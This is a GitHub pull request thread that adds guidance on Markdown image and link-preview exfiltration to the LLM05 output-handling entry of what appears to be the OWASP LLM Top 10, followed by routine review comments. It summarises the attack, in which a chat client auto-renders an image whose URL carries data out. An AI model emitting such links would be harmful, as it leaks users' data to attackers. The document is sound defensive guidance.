LLM05: add Markdown auto-render exfiltration to output handling guidance

[ottosulin]

Adds prevention coverage for the Markdown image / link preview exfiltration pattern that has affected ChatGPT, Bing, Google Bard, NotebookLM, Writer.com, Amazon Q, GitHub Copilot Chat, Gemini, and Cursor.

CSP (current item 6) can mitigate this in browser-based UIs when img-src is properly used, but many LLM clients are not browsers (IDEs, native apps, terminal clients, email clients) and need application-layer controls at the renderer.

Adds:

1. Impact condition (auto-fetched external resources in client renderers)
2. Common example of the vulnerability (chat UI auto-renders Markdown images, exfil via URL)
3. Prevention strategy (disable auto-render of Markdown images / link previews / iframes by default; allowlist or server-side image proxy when needed)
4. Two references (Embrace The Red Copilot Chat writeup, Simon Willison Markdown exfiltration tracker)

[RicoKomenda]

Looks good from, reviewed in slack channel from @GTKlondike and myself

[rocklambros]

@ottosulin — thanks for the contribution.

@RicoKomenda @GTKlondike — LLM05 entry leads, please review.

@rocklambros (project owner) would like entry leads to review this content before it merges. Once your review is complete, please tag @rocklambros and let him know it's ready for merge.

[RicoKomenda]

@ottosulin I think you need to resolve the conflicts. After that, we can merge this PR. :)

[ottosulin]

@RicoKomenda fixed!

[RicoKomenda]

@ottosulin per policy you need to have verified commits through, please do that on both your PRs. 😄